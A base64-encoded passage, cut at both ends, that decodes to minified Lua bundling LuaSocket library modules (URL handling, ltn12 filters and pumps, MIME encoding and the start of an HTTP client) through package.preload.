KHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBvOmdldGZkKCllbmQsCmRpcnR5PWZ1bmN0aW9uKCly
ZXR1cm4gbzpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oKQppZiB0PD0wIHRoZW4gcmV0
dXJuIG5pbCBlbmQKbG9jYWwgZT1zLm1pbihhLkJMT0NLU0laRSx0KQpsb2NhbCBlLGE9bzpyZWNl
aXZlKGUpCmlmIGEgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnQ9dC1oLmxlbihlKQpyZXR1cm4gZQpl
bmQKfSkKZW5kCnNvdXJjZXRbInVudGlsLWNsb3NlZCJdPWZ1bmN0aW9uKHQpCmxvY2FsIG8KcmV0
dXJuIGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQs
CmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24o
KQppZiBvIHRoZW4gcmV0dXJuIG5pbCBlbmQKbG9jYWwgaSxlLGE9dDpyZWNlaXZlKGEuQkxPQ0tT
SVpFKQppZiBub3QgZSB0aGVuIHJldHVybiBpCmVsc2VpZiBlPT0iY2xvc2VkInRoZW4KdDpjbG9z
ZSgpCm89MQpyZXR1cm4gYQplbHNlIHJldHVybiBuaWwsZSBlbmQKZW5kCn0pCmVuZApzb3VyY2V0
WyJkZWZhdWx0Il09c291cmNldFsidW50aWwtY2xvc2VkIl0Kc291cmNlPWNob29zZShzb3VyY2V0
KQplbmQpCnBhY2thZ2UucHJlbG9hZFsnc29ja2V0LnVybCddPShmdW5jdGlvbiguLi4pCmxvY2Fs
IGU9cmVxdWlyZSgic3RyaW5nIikKbG9jYWwgbz1fRwpsb2NhbCBpPXJlcXVpcmUoInRhYmxlIikK
bW9kdWxlKCJzb2NrZXQudXJsIikKX1ZFUlNJT049IlVSTCAxLjAuMSIKZnVuY3Rpb24gZXNjYXBl
KHQpCnJldHVybiBlLmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQpyZXR1cm4g
ZS5mb3JtYXQoIiUlJTAyeCIsZS5ieXRlKHQpKQplbmQpCmVuZApsb2NhbCBmdW5jdGlvbiBuKGUp
CmxvY2FsIHQ9e30KZm9yIGEsbyBpbiBvLmlwYWlycyhlKWRvCnRbZVthXV09MQplbmQKcmV0dXJu
IHQKZW5kCmxvY2FsIGE9bnsKIi0iLCJfIiwiLiIsIiEiLCJ+IiwiKiIsIiciLCIoIiwKIikiLCI6
IiwiQCIsIiYiLCI9IiwiKyIsIiQiLCIsIiwKfQpsb2NhbCBmdW5jdGlvbiBuKHQpCnJldHVybiBl
LmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQppZiBhW3RddGhlbiByZXR1cm4g
dAplbHNlIHJldHVybiBlLmZvcm1hdCgiJSUlMDJ4IixlLmJ5dGUodCkpZW5kCmVuZCkKZW5kCmZ1
bmN0aW9uIHVuZXNjYXBlKHQpCnJldHVybiBlLmdzdWIodCwiJSUoJXgleCkiLGZ1bmN0aW9uKHQp
CnJldHVybiBlLmNoYXIoby50b251bWJlcih0LDE2KSkKZW5kKQplbmQKbG9jYWwgZnVuY3Rpb24g
cyh0LGEpCmlmIGUuc3ViKGEsMSwxKT09Ii8idGhlbiByZXR1cm4gYSBlbmQKbG9jYWwgdD1lLmdz
dWIodCwiW14vXSokIiwiIikKdD10Li5hCnQ9ZS5nc3ViKHQsIihbXi9dKiUuLykiLGZ1bmN0aW9u
KGUpCmlmIGV+PSIuLyJ0aGVuIHJldHVybiBlIGVsc2UgcmV0dXJuIiJlbmQKZW5kKQp0PWUuZ3N1
Yih0LCIvJS4kIiwiLyIpCmxvY2FsIGEKd2hpbGUgYX49dCBkbwphPXQKdD1lLmdzdWIoYSwiKFte
L10qLyUuJS4vKSIsZnVuY3Rpb24oZSkKaWYgZX49Ii4uLy4uLyJ0aGVuIHJldHVybiIiZWxzZSBy
ZXR1cm4gZSBlbmQKZW5kKQplbmQKdD1lLmdzdWIoYSwiKFteL10qLyUuJS4pJCIsZnVuY3Rpb24o
ZSkKaWYgZX49Ii4uLy4uInRoZW4gcmV0dXJuIiJlbHNlIHJldHVybiBlIGVuZAplbmQpCnJldHVy
biB0CmVuZApmdW5jdGlvbiBwYXJzZShhLGkpCmxvY2FsIHQ9e30KZm9yIGUsYSBpbiBvLnBhaXJz
KGkgb3IgdClkbyB0W2VdPWEgZW5kCmlmIG5vdCBhIG9yIGE9PSIidGhlbiByZXR1cm4gbmlsLCJp
bnZhbGlkIHVybCJlbmQKYT1lLmdzdWIoYSwiIyguKikkIixmdW5jdGlvbihlKQp0LmZyYWdtZW50
PWUKcmV0dXJuIiIKZW5kKQphPWUuZ3N1YihhLCJeKFsld11bJXclKyUtJS5dKiklOiIsCmZ1bmN0
aW9uKGUpdC5zY2hlbWU9ZTtyZXR1cm4iImVuZCkKYT1lLmdzdWIoYSwiXi8vKFteL10qKSIsZnVu
Y3Rpb24oZSkKdC5hdXRob3JpdHk9ZQpyZXR1cm4iIgplbmQpCmE9ZS5nc3ViKGEsIiU/KC4qKSIs
ZnVuY3Rpb24oZSkKdC5xdWVyeT1lCnJldHVybiIiCmVuZCkKYT1lLmdzdWIoYSwiJTsoLiopIixm
dW5jdGlvbihlKQp0LnBhcmFtcz1lCnJldHVybiIiCmVuZCkKaWYgYX49IiJ0aGVuIHQucGF0aD1h
IGVuZApsb2NhbCBhPXQuYXV0aG9yaXR5CmlmIG5vdCBhIHRoZW4gcmV0dXJuIHQgZW5kCmE9ZS5n
c3ViKGEsIl4oW15AXSopQCIsCmZ1bmN0aW9uKGUpdC51c2VyaW5mbz1lO3JldHVybiIiZW5kKQph
PWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucG9ydD1lO3JldHVybiIiZW5kKQpp
ZiBhfj0iInRoZW4gdC5ob3N0PWEgZW5kCmxvY2FsIGE9dC51c2VyaW5mbwppZiBub3QgYSB0aGVu
IHJldHVybiB0IGVuZAphPWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucGFzc3dv
cmQ9ZTtyZXR1cm4iImVuZCkKdC51c2VyPWEKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkKGUp
CmxvY2FsIHQ9cGFyc2VfcGF0aChlLnBhdGggb3IiIikKbG9jYWwgdD1idWlsZF9wYXRoKHQpCmlm
IGUucGFyYW1zIHRoZW4gdD10Li4iOyIuLmUucGFyYW1zIGVuZAppZiBlLnF1ZXJ5IHRoZW4gdD10
Li4iPyIuLmUucXVlcnkgZW5kCmxvY2FsIGE9ZS5hdXRob3JpdHkKaWYgZS5ob3N0IHRoZW4KYT1l
Lmhvc3QKaWYgZS5wb3J0IHRoZW4gYT1hLi4iOiIuLmUucG9ydCBlbmQKbG9jYWwgdD1lLnVzZXJp
bmZvCmlmIGUudXNlciB0aGVuCnQ9ZS51c2VyCmlmIGUucGFzc3dvcmQgdGhlbgp0PXQuLiI6Ii4u
ZS5wYXNzd29yZAplbmQKZW5kCmlmIHQgdGhlbiBhPXQuLiJAIi4uYSBlbmQKZW5kCmlmIGEgdGhl
biB0PSIvLyIuLmEuLnQgZW5kCmlmIGUuc2NoZW1lIHRoZW4gdD1lLnNjaGVtZS4uIjoiLi50IGVu
ZAppZiBlLmZyYWdtZW50IHRoZW4gdD10Li4iIyIuLmUuZnJhZ21lbnQgZW5kCnJldHVybiB0CmVu
ZApmdW5jdGlvbiBhYnNvbHV0ZSh0LGEpCmlmIG8udHlwZSh0KT09InRhYmxlInRoZW4KYmFzZV9w
YXJzZWQ9dAp0PWJ1aWxkKGJhc2VfcGFyc2VkKQplbHNlCmJhc2VfcGFyc2VkPXBhcnNlKHQpCmVu
ZApsb2NhbCBlPXBhcnNlKGEpCmlmIG5vdCBiYXNlX3BhcnNlZCB0aGVuIHJldHVybiBhCmVsc2Vp
ZiBub3QgZSB0aGVuIHJldHVybiB0CmVsc2VpZiBlLnNjaGVtZSB0aGVuIHJldHVybiBhCmVsc2UK
ZS5zY2hlbWU9YmFzZV9wYXJzZWQuc2NoZW1lCmlmIG5vdCBlLmF1dGhvcml0eSB0aGVuCmUuYXV0
aG9yaXR5PWJhc2VfcGFyc2VkLmF1dGhvcml0eQppZiBub3QgZS5wYXRoIHRoZW4KZS5wYXRoPWJh
c2VfcGFyc2VkLnBhdGgKaWYgbm90IGUucGFyYW1zIHRoZW4KZS5wYXJhbXM9YmFzZV9wYXJzZWQu
cGFyYW1zCmlmIG5vdCBlLnF1ZXJ5IHRoZW4KZS5xdWVyeT1iYXNlX3BhcnNlZC5xdWVyeQplbmQK
ZW5kCmVsc2UKZS5wYXRoPXMoYmFzZV9wYXJzZWQucGF0aCBvciIiLAplLnBhdGgpCmVuZAplbmQK
cmV0dXJuIGJ1aWxkKGUpCmVuZAplbmQKZnVuY3Rpb24gcGFyc2VfcGF0aChhKQpsb2NhbCB0PXt9
CmE9YSBvciIiCmUuZ3N1YihhLCIoW14vXSspIixmdW5jdGlvbihlKWkuaW5zZXJ0KHQsZSllbmQp
CmZvciBlPTEsaS5nZXRuKHQpZG8KdFtlXT11bmVzY2FwZSh0W2VdKQplbmQKaWYgZS5zdWIoYSwx
LDEpPT0iLyJ0aGVuIHQuaXNfYWJzb2x1dGU9MSBlbmQKaWYgZS5zdWIoYSwtMSwtMSk9PSIvInRo
ZW4gdC5pc19kaXJlY3Rvcnk9MSBlbmQKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkX3BhdGgo
dCxvKQpsb2NhbCBlPSIiCmxvY2FsIGE9aS5nZXRuKHQpCmlmIG8gdGhlbgpmb3IgYT0xLGEtMSBk
bwplPWUuLnRbYV0KZT1lLi4iLyIKZW5kCmlmIGE+MCB0aGVuCmU9ZS4udFthXQppZiB0LmlzX2Rp
cmVjdG9yeSB0aGVuIGU9ZS4uIi8iZW5kCmVuZAplbHNlCmZvciBhPTEsYS0xIGRvCmU9ZS4ubih0
W2FdKQplPWUuLiIvIgplbmQKaWYgYT4wIHRoZW4KZT1lLi5uKHRbYV0pCmlmIHQuaXNfZGlyZWN0
b3J5IHRoZW4gZT1lLi4iLyJlbmQKZW5kCmVuZAppZiB0LmlzX2Fic29sdXRlIHRoZW4gZT0iLyIu
LmUgZW5kCnJldHVybiBlCmVuZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbHRuMTInXT0oZnVuY3Rp
b24oLi4uKQpsb2NhbCBzPXJlcXVpcmUoInN0cmluZyIpCmxvY2FsIG89cmVxdWlyZSgidGFibGUi
KQpsb2NhbCBlPV9HCm1vZHVsZSgibHRuMTIiKQpmaWx0ZXI9e30Kc291cmNlPXt9CnNpbms9e30K
cHVtcD17fQpCTE9DS1NJWkU9MjA0OApfVkVSU0lPTj0iTFROMTIgMS4wLjEiCmZ1bmN0aW9uIGZp
bHRlci5jeWNsZShhLHQsbykKZS5hc3NlcnQoYSkKcmV0dXJuIGZ1bmN0aW9uKGkpCmxvY2FsIGUK
ZSx0PWEodCxpLG8pCnJldHVybiBlCmVuZAplbmQKZnVuY3Rpb24gZmlsdGVyLmNoYWluKC4uLikK
bG9jYWwgbj1vLmdldG4oYXJnKQpsb2NhbCBvLGE9MSwxCmxvY2FsIGk9IiIKcmV0dXJuIGZ1bmN0
aW9uKHQpCmk9dCBhbmQgaQp3aGlsZSB0cnVlIGRvCmlmIGE9PW8gdGhlbgp0PWFyZ1thXSh0KQpp
ZiB0PT0iIm9yIG89PW4gdGhlbiByZXR1cm4gdAplbHNlaWYgdCB0aGVuIGE9YSsxCmVsc2UKbz1v
KzEKYT1vCmVuZAplbHNlCnQ9YXJnW2FdKHQgb3IiIikKaWYgdD09IiJ0aGVuCmE9YS0xCnQ9aQpl
bHNlaWYgdCB0aGVuCmlmIGE9PW4gdGhlbiByZXR1cm4gdAplbHNlIGE9YSsxIGVuZAplbHNlIGUu
ZXJyb3IoImZpbHRlciByZXR1cm5lZCBpbmFwcHJvcHJpYXRlIG5pbCIpZW5kCmVuZAplbmQKZW5k
CmVuZApsb2NhbCBmdW5jdGlvbiB0KCkKcmV0dXJuIG5pbAplbmQKZnVuY3Rpb24gc291cmNlLmVt
cHR5KCkKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5lcnJvcihlKQpyZXR1cm4gZnVuY3Rp
b24oKQpyZXR1cm4gbmlsLGUKZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UuZmlsZShlLGEpCmlmIGUg
dGhlbgpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCB0PWU6cmVhZChCTE9DS1NJWkUpCmlmIG5vdCB0
IHRoZW4gZTpjbG9zZSgpZW5kCnJldHVybiB0CmVuZAplbHNlIHJldHVybiBzb3VyY2UuZXJyb3Io
YSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5zaW1wbGlm
eSh0KQplLmFzc2VydCh0KQpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCBlLGE9dCgpCnQ9YSBvciB0
CmlmIG5vdCBlIHRoZW4gcmV0dXJuIG5pbCxhCmVsc2UgcmV0dXJuIGUgZW5kCmVuZAplbmQKZnVu
Y3Rpb24gc291cmNlLnN0cmluZyh0KQppZiB0IHRoZW4KbG9jYWwgZT0xCnJldHVybiBmdW5jdGlv
bigpCmxvY2FsIHQ9cy5zdWIodCxlLGUrQkxPQ0tTSVpFLTEpCmU9ZStCTE9DS1NJWkUKaWYgdH49
IiJ0aGVuIHJldHVybiB0CmVsc2UgcmV0dXJuIG5pbCBlbmQKZW5kCmVsc2UgcmV0dXJuIHNvdXJj
ZS5lbXB0eSgpZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UucmV3aW5kKGEpCmUuYXNzZXJ0KGEpCmxv
Y2FsIHQ9e30KcmV0dXJuIGZ1bmN0aW9uKGUpCmlmIG5vdCBlIHRoZW4KZT1vLnJlbW92ZSh0KQpp
ZiBub3QgZSB0aGVuIHJldHVybiBhKCkKZWxzZSByZXR1cm4gZSBlbmQKZWxzZQpvLmluc2VydCh0
LGUpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5jaGFpbihzLG4pCmUuYXNzZXJ0KHMgYW5k
IG4pCmxvY2FsIGEsdD0iIiwiIgpsb2NhbCBpPSJmZWVkaW5nIgpsb2NhbCBvCnJldHVybiBmdW5j
dGlvbigpCmlmIG5vdCB0IHRoZW4KZS5lcnJvcignc291cmNlIGlzIGVtcHR5IScsMikKZW5kCndo
aWxlIHRydWUgZG8KaWYgaT09ImZlZWRpbmcidGhlbgphLG89cygpCmlmIG8gdGhlbiByZXR1cm4g
bmlsLG8gZW5kCnQ9bihhKQppZiBub3QgdCB0aGVuCmlmIGEgdGhlbgplLmVycm9yKCdmaWx0ZXIg
cmV0dXJuZWQgaW5hcHByb3ByaWF0ZSBuaWwnKQplbHNlCnJldHVybiBuaWwKZW5kCmVsc2VpZiB0
fj0iInRoZW4KaT0iZWF0aW5nIgppZiBhIHRoZW4gYT0iImVuZApyZXR1cm4gdAplbmQKZWxzZQp0
PW4oYSkKaWYgdD09IiJ0aGVuCmlmIGE9PSIidGhlbgppPSJmZWVkaW5nIgplbHNlCmUuZXJyb3Io
J2ZpbHRlciByZXR1cm5lZCAiIicpCmVuZAplbHNlaWYgbm90IHQgdGhlbgppZiBhIHRoZW4KZS5l
cnJvcignZmlsdGVyIHJldHVybmVkIGluYXBwcm9wcmlhdGUgbmlsJykKZWxzZQpyZXR1cm4gbmls
CmVuZAplbHNlCnJldHVybiB0CmVuZAplbmQKZW5kCmVuZAplbmQKZnVuY3Rpb24gc291cmNlLmNh
dCguLi4pCmxvY2FsIGU9by5yZW1vdmUoYXJnLDEpCnJldHVybiBmdW5jdGlvbigpCndoaWxlIGUg
ZG8KbG9jYWwgdCxhPWUoKQppZiB0IHRoZW4gcmV0dXJuIHQgZW5kCmlmIGEgdGhlbiByZXR1cm4g
bmlsLGEgZW5kCmU9by5yZW1vdmUoYXJnLDEpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNpbmsudGFi
bGUoZSkKZT1lIG9ye30KbG9jYWwgdD1mdW5jdGlvbih0LGEpCmlmIHQgdGhlbiBvLmluc2VydChl
LHQpZW5kCnJldHVybiAxCmVuZApyZXR1cm4gdCxlCmVuZApmdW5jdGlvbiBzaW5rLnNpbXBsaWZ5
KHQpCmUuYXNzZXJ0KHQpCnJldHVybiBmdW5jdGlvbihlLGEpCmxvY2FsIGEsZT10KGUsYSkKaWYg
bm90IGEgdGhlbiByZXR1cm4gbmlsLGUgZW5kCnQ9ZSBvciB0CnJldHVybiAxCmVuZAplbmQKZnVu
Y3Rpb24gc2luay5maWxlKGUsYSkKaWYgZSB0aGVuCnJldHVybiBmdW5jdGlvbih0LGEpCmlmIG5v
dCB0IHRoZW4KZTpjbG9zZSgpCnJldHVybiAxCmVsc2UgcmV0dXJuIGU6d3JpdGUodCllbmQKZW5k
CmVsc2UgcmV0dXJuIHNpbmsuZXJyb3IoYSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5k
CmxvY2FsIGZ1bmN0aW9uIHQoKQpyZXR1cm4gMQplbmQKZnVuY3Rpb24gc2luay5udWxsKCkKcmV0
dXJuIHQKZW5kCmZ1bmN0aW9uIHNpbmsuZXJyb3IoZSkKcmV0dXJuIGZ1bmN0aW9uKCkKcmV0dXJu
IG5pbCxlCmVuZAplbmQKZnVuY3Rpb24gc2luay5jaGFpbihhLG8pCmUuYXNzZXJ0KGEgYW5kIG8p
CnJldHVybiBmdW5jdGlvbih0LGkpCmlmIHR+PSIidGhlbgpsb2NhbCBlPWEodCkKbG9jYWwgdD10
IGFuZCIiCndoaWxlIHRydWUgZG8KbG9jYWwgaSxvPW8oZSxpKQppZiBub3QgaSB0aGVuIHJldHVy
biBuaWwsbyBlbmQKaWYgZT09dCB0aGVuIHJldHVybiAxIGVuZAplPWEodCkKZW5kCmVsc2UgcmV0
dXJuIDEgZW5kCmVuZAplbmQKZnVuY3Rpb24gcHVtcC5zdGVwKGUsYSkKbG9jYWwgdCxlPWUoKQps
b2NhbCBvLGE9YSh0LGUpCmlmIHQgYW5kIG8gdGhlbiByZXR1cm4gMQplbHNlIHJldHVybiBuaWws
ZSBvciBhIGVuZAplbmQKZnVuY3Rpb24gcHVtcC5hbGwobyxhLHQpCmUuYXNzZXJ0KG8gYW5kIGEp
CnQ9dCBvciBwdW1wLnN0ZXAKd2hpbGUgdHJ1ZSBkbwpsb2NhbCB0LGU9dChvLGEpCmlmIG5vdCB0
IHRoZW4KaWYgZSB0aGVuIHJldHVybiBuaWwsZQplbHNlIHJldHVybiAxIGVuZAplbmQKZW5kCmVu
ZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbWltZSddPShmdW5jdGlvbiguLi4pCmxvY2FsIG89X0cK
bG9jYWwgZT1yZXF1aXJlKCJsdG4xMiIpCmxvY2FsIHQ9cmVxdWlyZSgibWltZS5jb3JlIikKbG9j
YWwgdD1yZXF1aXJlKCJpbyIpCmxvY2FsIG49cmVxdWlyZSgic3RyaW5nIikKbW9kdWxlKCJtaW1l
IikKZW5jb2RldD17fQpkZWNvZGV0PXt9CndyYXB0PXt9CmxvY2FsIGZ1bmN0aW9uIGEoYSkKcmV0
dXJuIGZ1bmN0aW9uKGUsdCxpKQppZiBvLnR5cGUoZSl+PSJzdHJpbmcidGhlbgplLHQsaT0iZGVm
YXVsdCIsZSx0CmVuZApsb2NhbCBhPWFbZSBvciJuaWwiXQppZiBub3QgYSB0aGVuCm8uZXJyb3Io
InVua25vd24ga2V5ICgiLi5vLnRvc3RyaW5nKGUpLi4iKSIsMykKZWxzZSByZXR1cm4gYSh0LGkp
ZW5kCmVuZAplbmQKZW5jb2RldFsnYmFzZTY0J109ZnVuY3Rpb24oKQpyZXR1cm4gZS5maWx0ZXIu
Y3ljbGUoYjY0LCIiKQplbmQKZW5jb2RldFsncXVvdGVkLXByaW50YWJsZSddPWZ1bmN0aW9uKHQp
CnJldHVybiBlLmZpbHRlci5jeWNsZShxcCwiIiwKKHQ9PSJiaW5hcnkiKWFuZCI9MEQ9MEEib3Ii
XHJcbiIpCmVuZApkZWNvZGV0WydiYXNlNjQnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5j
eWNsZSh1bmI2NCwiIikKZW5kCmRlY29kZXRbJ3F1b3RlZC1wcmludGFibGUnXT1mdW5jdGlvbigp
CnJldHVybiBlLmZpbHRlci5jeWNsZSh1bnFwLCIiKQplbmQKbG9jYWwgZnVuY3Rpb24gdChlKQpp
ZiBlIHRoZW4KaWYgZT09IiJ0aGVuIHJldHVybiInJyIKZWxzZSByZXR1cm4gbi5sZW4oZSllbmQK
ZWxzZSByZXR1cm4ibmlsImVuZAplbmQKd3JhcHRbJ3RleHQnXT1mdW5jdGlvbih0KQp0PXQgb3Ig
NzYKcmV0dXJuIGUuZmlsdGVyLmN5Y2xlKHdycCx0LHQpCmVuZAp3cmFwdFsnYmFzZTY0J109d3Jh
cHRbJ3RleHQnXQp3cmFwdFsnZGVmYXVsdCddPXdyYXB0Wyd0ZXh0J10Kd3JhcHRbJ3F1b3RlZC1w
cmludGFibGUnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5jeWNsZShxcHdycCw3Niw3NikK
ZW5kCmVuY29kZT1hKGVuY29kZXQpCmRlY29kZT1hKGRlY29kZXQpCndyYXA9YSh3cmFwdCkKZnVu
Y3Rpb24gbm9ybWFsaXplKHQpCnJldHVybiBlLmZpbHRlci5jeWNsZShlb2wsMCx0KQplbmQKZnVu
Y3Rpb24gc3R1ZmYoKQpyZXR1cm4gZS5maWx0ZXIuY3ljbGUoZG90LDIpCmVuZAplbmQpCnBhY2th
Z2UucHJlbG9hZFsnc29ja2V0Lmh0dHAnXT0oZnVuY3Rpb24oLi4uKQpsb2NhbCB0PXJlcXVpcmUo
InNvY2tldCIpCmxvY2FsIGg9cmVxdWlyZSgic29ja2V0LnVybCIpCmxvY2FsIGk9cmVxdWlyZSgi
bHRuMTIiKQpsb2NhbCBsPXJlcXVpcmUoIm1pbWUiKQpsb2NhbCBvPXJlcXVpcmUoInN0cmluZyIp
CmxvY2FsIGE9X0cKbG9jYWwgZD1yZXF1aXJlKCJ0YWJsZSIpCm1vZHVsZSgic29ja2V0Lmh0dHAi
KQpUSU1FT1VUPTYwClBPUlQ9ODAKVVNFUkFHRU5UPXQuX1ZFUlNJT04KbG9jYWwgZnVuY3Rpb24g
cihoLGkpCmxvY2FsIG4sYSxzLGUKaT1pIG9ye30KbixlPWg6cmVjZWl2ZSgpCmlmIGUgdGhlbiBy
ZXR1cm4gbmlsLGUgZW5kCndoaWxlIG5+PSIiZG8KYSxzPXQuc2tpcCgyLG8uZmluZChuLCJeKC4t
KTolcyooLiopIikpCmlmIG5vdChhIGFuZCBzKXRoZW4gcmV0dXJuIG5pbCwibWFsZm9ybWVkIHJl
cG9uc2UgaGVhZGVycyJlbmQKYT1vLmxvd2VyKGEpCm4sZT1oOnJlY2VpdmUoKQppZiBlIHRoZW4g
cmV0dXJuIG5pbCxlIGVuZAp3aGlsZSBvLmZpbmQobiwiXiVzIilkbwpzPXMuLm4Kbj1oOnJlY2Vp
dmUoKQppZiBlIHRoZW4gcmV0dXJuIG5pbCxlIGVuZAplbmQKaWYgaVthXXRoZW4gaVthXT1pW2Fd
Li4iLCAiLi5zCmVsc2UgaVthXT1zIGVuZAplbmQKcmV0dXJuIGkKZW5kCnQuc291cmNldFsiaHR0
cC1jaHVua2VkIl09ZnVuY3Rpb24oZSxpKQpyZXR1cm4gYS5zZXRtZXRhdGFibGUoewpnZXRmZD1m
dW5jdGlvbigpcmV0dXJuIGU6Z2V0ZmQoKWVuZCwKZGlydHk9ZnVuY3Rpb24oKXJldHVybiBlOmRp
cnR5KCllbmQKfSx7Cl9fY2FsbD1mdW5jdGlvbigpCmxvY2FsIG4sdD1lOnJlY2VpdmUoKQppZiB0
IHRoZW4gcmV0dXJuIG5pbCx0IGVuZApsb2NhbCBhPWEudG9udW1iZXIoby5nc3ViKG4sIjsuKiIs
IiIpLDE2KQppZiBub3QgYSB0aGVuIHJldHVybiBuaWwsImludmFsaWQgY2h1bmsgc2l6ZSJlbmQK
aWYgYT4wIHRoZW4KbG9jYWwgdCxhLG89ZTpyZWNlaXZlKGEpCmlmIHQgdGhlbiBlOnJlY2VpdmUo
KWVuZApyZXR1cm4gdCxhCmVsc2UKaSx0PXIoZSxpKQppZiBub3QgaSB0aGVuIHJldHVybiBuaWws
dCBlbmQKZW5kCmVuZAp9KQplbmQKdC5zaW5rdFsiaHR0cC1jaHVua2VkIl09ZnVuY3Rpb24oZSkK
cmV0dXJuIGEuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBlOmdldGZkKCll
bmQsCmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gZTpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rp
b24oYSx0LGEpCmlmIG5vdCB0IHRoZW4gcmV0dXJuIGU6c2VuZCgiMFxyXG5cclxuIillbmQKbG9j
YWwgYT1vLmZvcm1hdCgiJVhcclxuIixvLmxlbih0KSkKcmV0dXJuIGU6c2VuZChhLi50Li4iXHJc
biIpCmVuZAp9KQplbmQKbG9jYWwgZT17X19pbmRleD17fX0KZnVuY3Rpb24gb3BlbihpLG4sbykK
bG9jYWwgbz10LnRyeSgobyBvciB0LnRjcCkoKSkKbG9jYWwgZT1hLnNldG1ldGF0YWJsZSh7Yz1v
fSxlKQplLnRyeT10Lm5ld3RyeShmdW5jdGlvbigpZTpjbG9zZSgpZW5kKQplLnRyeShvOnNldHRp
bWVvdXQoVElNRU9VVCkpCmUudHJ5KG86Y29ubmVjdChpLG4gb3IgUE9SVCkpCnJldHVybiBlCmVu
ZApmdW5jdGlvbiBlLl9faW5kZXg6c2VuZHJlcXVlc3RsaW5lKGUsdCkKbG9jYWwgZT1vLmZvcm1h
dCgiJXMgJXMgSFRUUC8xLjFcclxuIixlIG9yIkdFVCIsdCkKcmV0dXJuIHNlbGYudHJ5KHNlbGYu
YzpzZW5kKGUpKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnNlbmRoZWFkZXJzKHQpCmxvY2FsIGU9
IlxyXG4iCmZvciB0LGEgaW4gYS5wYWlycyh0KWRvCmU9dC4uIjogIi4uYS4uIlxyXG4iLi5lCmVu
ZApzZWxmLnRyeShzZWxmLmM6c2VuZChlKSkKcmV0dXJuIDEKZW5kCmZ1bmN0aW9uIGUuX19pbmRl
eDpzZW5kYm9keShuLGUsYSkKZT1lIG9yIGkuc291cmNlLmVtcHR5KCkKYT1hIG9yIGkucHVtcC5z
dGVwCmxvY2FsIG89Imh0dHAtY2h1bmtlZCIKaWYgblsiY29udGVudC1sZW5ndGgiXXRoZW4gbz0i
a2VlcC1vcGVuImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbChlLHQuc2luayhvLHNlbGYu
YyksYSkpCmVuZApmdW5jdGlvbiBlLl9faW5kZXg6cmVjZWl2ZXN0YXR1c2xpbmUoKQpsb2NhbCBl
PXNlbGYudHJ5KHNlbGYuYzpyZWNlaXZlKDUpKQppZiBlfj0iSFRUUC8idGhlbiByZXR1cm4gbmls
LGUgZW5kCmU9c2VsZi50cnkoc2VsZi5jOnJlY2VpdmUoIipsIixlKSkKbG9jYWwgdD10LnNraXAo
MixvLmZpbmQoZSwiSFRUUC8lZColLiVkKiAoJWQlZCVkKSIpKQpyZXR1cm4gc2VsZi50cnkoYS50
b251bWJlcih0KSxlKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnJlY2VpdmVoZWFkZXJzKCkKcmV0
dXJuIHNlbGYudHJ5KHIoc2VsZi5jKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlYm9k
eShuLHMsZSkKcz1zIG9yIGkuc2luay5udWxsKCkKZT1lIG9yIGkucHVtcC5zdGVwCmxvY2FsIHI9
YS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKQpsb2NhbCBoPW5bInRyYW5zZmVyLWVuY29k
aW5nIl0KbG9jYWwgbz0iZGVmYXVsdCIKaWYgaCBhbmQgaH49ImlkZW50aXR5InRoZW4gbz0iaHR0
cC1jaHVua2VkIgplbHNlaWYgYS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKXRoZW4gbz0i
YnktbGVuZ3RoImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbCh0LnNvdXJjZShvLHNlbGYu
YyxyKSwKcyxlKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlMDlib2R5KG4sbyxhKQps
b2NhbCBlPWkuc291cmNlLnJld2luZCh0LnNvdXJjZSgidW50aWwtY2xvc2VkIixzZWxmLmMpKQpl
KG4pCnJldHVybiBzZWxmLnRyeShpLnB1bXAuYWxsKGUsbyxhKSkKZW5kCmZ1bmN0aW9uIGUuX19p
bmRleDpjbG9zZSgpCnJldHVybiBzZWxmLmM6Y2xvc2UoKQplbmQKbG9jYWwgZnVuY3Rpb24gbihl
KQpsb2NhbCBhPWUKaWYgbm90IGUucHJveHkgYW5kIG5vdCBQUk9YWSB0aGVuCmE9ewpwYXRoPXQu
